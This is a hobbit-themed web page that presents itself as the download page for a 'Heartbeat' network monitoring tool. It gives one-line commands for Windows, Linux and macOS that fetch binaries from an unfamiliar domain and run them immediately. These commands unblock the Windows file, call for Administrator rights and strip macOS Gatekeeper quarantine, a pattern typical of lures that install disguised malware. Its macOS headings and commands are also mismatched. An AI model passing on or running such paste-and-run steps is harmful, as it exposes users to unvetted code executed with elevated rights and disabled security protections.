"A Hobbit's Guide to Network Monitoring"

Welcome to Bag End, where the finest tools are stored in our hobbit-holes. The Heartbeat monitoring tool has been carefully prepared by the hobbits of the Shire for deployment across all the lands. Choose your platform below and use the time-tested commands crafted by our most trusted hobbit friends.

Brandybuck's Choice

Windows PowerShell

 *Meriadoc's Trusted Command*

```
iwr -Uri "https://armory.sre-tools.space/heartbeat-wi  
ndows-amd64.exe" -OutFile "heartbeat.exe"; Unblock-Fi  
le "heartbeat.exe"; .\heartbeat.exe
```

 Copy Merry's Windows Spell

 **Merry's Note:** Run PowerShell as Administrator - even hobbits need proper permissions in Windows!

Took's Terminal

Linux Command Line

 *Peregrin's Adventure Script*

```
curl -L https://armory.sre-tools.space/heartbeat-linu  
x-amd64 -o heartbeat && chmod +x heartbeat && ./heart  
beat
```

 Copy Pippin's Linux Adventure

 **Pippin's Wisdom:** Simple and straightforward, just like a good hobbit meal!

Baggins' Modern Mac

macOS Apple Silicon (M1/M2/M3)

 *Frodo's M-Series Magic*

Gamgee's Classic Mac

macOS Intel (x86_64)

 *Samwise's Reliable Recipe*

```
curl -L https://armory.sre-tools.space/heartbeat-darwin-arm64 -o heartbeat && chmod +x heartbeat && xattr -c heartbeat && ./heartbeat
```

✨ Copy Frodo's ARM64 Enchantment

🔗 **Frodo's Experience:** The xattr command removes Gatekeeper's protection. You may still need to right-click → Open for first use.

```
curl -L https://armory.sre-tools.space/heartbeat-darwin-amd64 -o heartbeat && chmod +x heartbeat && xattr -c heartbeat && ./heartbeat
```

🍷 Copy Sam's Trusty Intel Formula

🍷 **Sam's Advice:** Tested on Intel Macs from 2015 onwards. As reliable as taters!

*"In a hole in the ground there lived a hobbit...
and in that hole, there were network monitoring tools
carefully maintained by the finest hobbit developers."*

*Lovingly prepared at Bag End by the Shire Development Collective
Tested by Merry, Pippin, Frodo, and Sam - approved by Bilbo himself*
